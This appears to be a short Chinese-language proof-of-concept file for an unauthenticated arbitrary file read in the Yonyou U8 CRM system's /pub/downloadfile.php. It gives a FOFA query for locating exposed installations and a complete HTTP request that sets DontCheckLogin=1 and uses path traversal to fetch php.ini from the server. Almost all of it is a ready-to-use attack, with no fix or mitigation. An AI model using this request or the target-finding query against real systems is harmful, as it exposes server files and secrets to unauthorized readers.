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20 lines
762 B
Markdown
20 lines
762 B
Markdown
## 用友U8-CRM客户关系管理系统downloadfile.php存在任意文件读取漏洞
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用友U8 CRM客户关系管理系统/pub/downloadfile.php存在任意文件读取漏洞，未经身份验证的远程攻击者通过漏洞可以获取到服务器敏感信息。
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## fofa
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```
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app="用友U8CRM"
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```
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## poc
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```
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GET /pub/downloadfile.php?DontCheckLogin=1&url=/datacache/../../../apache/php.ini HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9
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Connection: close
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```
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